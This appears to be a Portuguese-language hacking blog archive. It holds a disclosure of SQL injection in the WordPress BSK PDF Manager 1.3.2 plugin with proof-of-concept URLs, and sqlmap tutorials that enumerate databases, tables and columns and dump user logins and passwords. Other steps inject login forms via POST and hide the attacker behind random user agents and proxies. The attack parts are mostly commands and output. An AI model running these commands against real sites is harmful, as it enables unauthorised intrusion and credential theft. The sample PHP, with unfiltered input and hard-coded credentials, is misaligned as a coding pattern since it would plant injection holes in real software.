em conjunto com frameworks-scripts de comandos externos ...
usando a flag [--comand-vul] e uma dork para encontrar sql relacionado
vuls ou coleta de informações utilizando framework nmap ...

Este tutorial irá focar em mostrar como o nmap e SqlMap
pode ser usado em conjunto com o SCANNER  inurlbr.php ...
Para mais informações sobre inurlbr sintaxe e como usar o SCANNER
[PHP inurlbr.php --help]

ASSISTA:



Scanner-INURLBR repository: https://github.com/googleinurl/SCANNER-INURLBR

terça-feira, 5 de agosto de 2014

WordPress BSK PDF Manager 1.3.2 SQL Injection

WordPress BSK PDF Manager 1.3.2 SQL Injection

0x WordPress BSK PDF Manager 1.3.2 SQL Injection

O plug-in ajuda a gerenciar seus documentos PDF em WordPress. Você pode enviar por categorias e exibição caregories ou mostrar um documento especial PDF.
É fácil de utilizar. Você só precisa copiar os códigos de acesso para a página / post onde você quer mostrar. Em seguida, ele irá mostrar o link na sua página / post.
Widget é suportado agora! Você pode mostrar a lista de PDFs em uma área de widget.
Código vulnerável

  1. bsk-pdf-manager/inc/bsk-pdf-dashboard.php:             if(isset($_GET['view']) && $_GET['view']){
  2. bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                     $categories_curr_view = trim($_GET['view']);
  3. bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                     if(isset($_GET['categoryid']) && $_GET['categoryid']){
  4. bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                             $category_id = trim($_GET['categoryid']);
  5. bsk-pdf-manager/inc/bsk-pdf-dashboard.php:             if(isset($_GET['view']) && $_GET['view']){
  6. bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                     $lists_curr_view = trim($_GET['view']);
  7. bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                     if(isset($_GET['pdfid']) && $_GET['pdfid']){
  8. bsk-pdf-manager/inc/bsk-pdf-dashboard.php:                             $pdf_id = trim($_GET['pdfid']);
  9. $category_id = trim($_GET['categoryid']);
  10. $pdf_id = trim($_GET['pdfid']);

                                               0x Exploração via Browser e sqmlap

http://127.0.0.1/wp-admin/admin.php?page=bsk-pdf-manager-pdfs&view=edit&pdfid=1 and 1=2

http://127.0.0.1/wp-admin/admin.php?page=bsk-pdf-manager&view=edit&categoryid=1 and 1=2


sqlmap --cookie='INSERT_WORDPRESS_COOKIE_HERE' -u "http://10.0.0.67/wp-admin/admin.php?page=bsk-pdf-manager&view=edit&categoryid=1" -p categoryid




sábado, 9 de março de 2013

Personalizando comandos SQLMAP e Analise de código PHP


Personalizando comandos SQLMAP e Analise de código PHP


Personalizando comandos SQLMAP e Analise de código PHP

SQLMAP é a uma ótima ferramenta de injeção SQL que eu já vi: feito em python, Opensource, e os comandos vão de acordo com a necessidade do invasor.
 Vamos intender como funciona á URL

 URL: https://www.siteteste.com.br/index.php?id=1 
https :[Protocolo usado]
 www.siteteste.com.br :[Domínio alvo]
 index.php :[Arquivo php onde tem os include que fazem a consulta]
 ?id :[Parâmetro GET que recebe valores para que assim faça uma consulta no BD ou validação.]
1 :[Valor que será passado]
Código:

index.php?id=1
 -------------------------------INDEX.PHP-------------------------

  1. if($_GET['id']){
  2. $id = $_GET['id']; // Capturando valor GET e inserindo na variavel $id;

  3. require_once('include/function.php'); // Inserindo arquivo function no código atual.

  4. }?>

  5. Teste SQLMAP
  • pesquisa("noticias",$id);
  • ------------------------------------------------------------------------
    Agora vamos entender como funciona o arquivo function.php

    ----------------------------FUNCTION.PHP-------------------------

    1. function pesquisa($tabela,$id){ //Noma da function

    2. $con = mysql_connect("localhost","root","123456"); // editar host, usuario, senha

    3. $sql = "SELECT * FROM web.{$tabela} WHERE id={$id}"; //concatenando valores, web é o banco de dados.

    4. $query = mysql_query($sql); //executando select

    5. if (!$query) {  die ('ERRO!:' . mysql_error()); }//Se der algo errado.

    6. while($escrever=mysql_fetch_array($query)){ //Agora vamos percorrer o array.

    7.     echo "$escrever['NOTICIA']
      ";
    8. //Imprimindo valor atual do campo noticia

    9. }

    10.  mysql_close($con); // Fechando conexão!
    11. ?>

    ----------------------------------------------------------------------------
    Codigo vulneravel pois em nem um momento é feito o filtro adequado do parâmetroID assim possibilitando a modificação do sql de busca. 
    Digamos se na get_['id'] o usuario inserir o seguinte valorindex.phpid?=-1 order by 50; 
    Se a tabela noticias tiver menos que se 50 colunas ele vai retorno falando que não existe 50 colunas.Assim vai, o Sqlmap faz todo trabalho de injeção identificando quantidade de colunas, a versão do banco.Se as senhas estiverem em md5 o sqlmap já tem um wordlist.


    Dentro do codigo ficaria assim.
    $sql = "SELECT * FROM web.{$tabela} WHERE id={$id}";
    Valor modificado "SELECT * FROM web.noticias WHERE id=-1 order by 50;"

    Agora vamos para o sqlmap

    ./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 --dbs -p id -v 3 --proxy="http://localhost:8118"

    Não explicarei comandos sqlmap favor pesquisar.

    Pelo código criado o site esta vulnerável e retorna os seguintes valores.Banco de dados:

    [ * ] web
    [ * ] information_schema

    Agora queremos saber quais as tabelas do banco de dados "web".

     ./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 -D web -p id -v 3 --proxy="http://localhost:8118" --tablesTabelas:
    [ * ] usuario
    [ * ] noticias
    [ * ] smtp
    [ * ] blog


    Neste momento precisamos saber quais as colunas da tabela usuario.

    ./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario --columns

    +--------+--------------+
    | Column | Type |
    +--------+--------------+
    | ID | int(11) |
    | login | varchar(255) |
    | senha | varchar(255) |
    +--------+--------------+

    Logico que queres saber os usuario e senhas do site.

    ./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario -C "ID,login,senha" --dump


    Vamos lá galera estudar não basta saber os comandos.Tem que é o funcionamento.

    Grupo de Estudos Lacking Face &Anonymous Brasil.

    sexta-feira, 21 de dezembro de 2012

    COMANDOS - SQLMAP Injetando via POST.

    sqlmap de uma forma diferente

    COMANDOS   -   SQLMAP Injetando via POST.


    COMANDOS   -   SQLMAP Injetando via POST.

    sqlmap.py --url *************** --current-db
    sqlmap.py --url *************** -D 'databasedosite' --tables
    sqlmap.py --url *************** -D 'databasedosite' -T 'tabeladosite' --columns sqlmap.py --url *************** -D 'databasedosite' -T 'tabeladosite" -C 'colunasdosite' --dump


    ANALISANDO DADOS PARA O ATAQUE VIA POST

    Vamos ao agora enviar via post.
    Exemplo uma tela de login e senha!, como injetar com sqlmap ??
    alvo:http://www.pagina.com.br/login.phpUrl para onde é enviado os posts usuario e senha, como saber qual url. 
    Abra o codigo fonte e veja analise o fonte


    <form  action="validar/lt.php" method="post"  >
    <input type="text" name="login">
    <input type="text" name="senha">
    </form>

    No caso para onde é enviado os posts "campos login e senha".

    sqlmap.py --url http://www.pagina.com.br/validar/ls.php --data "login=admin#2*&senha=123#1*" --dbs
    #2* e #1* Indica que são campos posts e os mesmo devem ser injetados


    DEIXANDO SEU AGENT HTTP RANDÔMICO
    Vamos incrementar o comandos no teste.--ramdon-agent ou seja ele vai ramdomizar seu Agent http://en.wikipedia.org/wiki/User_agentEX:
    Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405
    A cada requisição ele vai mudar seu user agent:
    sqlmap.py --url http://www.pagina.com.br/validar/ls.php --data "login=admin#2*&senha=123#1*" --dbs --random-agent


    SETANDO PROXY
    Para ficar não ficar exposto utilizer o parâmetro proxy sempre.--proxy="SEU PROXY:PORTA"
    ex:
    sqlmap.py --url http://www.pagina.com.br/validar/ls.php --data "login=admin#2*&senha=123#1*" --dbs --random-agent --proxy="SEU PROXY:PORTA"

    MODELO 2 DE INJETAR SQL VIA POST
    Agora vamos utilizar a segunda forma de injetar via post.Lendo um arquivo de requisição post via sqlmap, com o comando "-r"Precisamos criar arquivo com o nome fica sua escolha configurado devidamente.Ex:

      POST http://www.pagina.com.br/validar/ls.php HTTP/1.1
      Host: www.pagina.com.br
      Origin: http://www.pagina.com.br/
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.54.16 (KHTML, like Gecko) Version/5.1.4 Safari/534.54.16
      Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOMD4054CXIAin1BB
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Referer:  http://www.pagina.com.br/login.php
      Accept-Language: en-us
      Accept-Encoding: gzip, deflate
      Cookie: PHPSESSID=ea4b4f69b0ed5e611b0d1b5ff5c7e9f9;
      Pragma: no-cache
      Connection: keep-alive
      Proxy-Connection: keep-alive
      Content-Length: 468

      ------WebKitFormBoundaryOMD4054CXIAin1BB
      Content-Disposition: form-data; name="login#1*"

      admin
      ------WebKitFormBoundaryMDad4054CXIAin1BB
      Content-Disposition: form-data; name="senha#1*"

      1234

    depois de salvar o conteúdo acima no arquivo post.txt,Vamos executalo
    ../sqlmap.py -r post.txt --dbs --random-agent --proxy="SEU PROXY:PORTA"


    "Conhecimento livre & Com responsabilidade"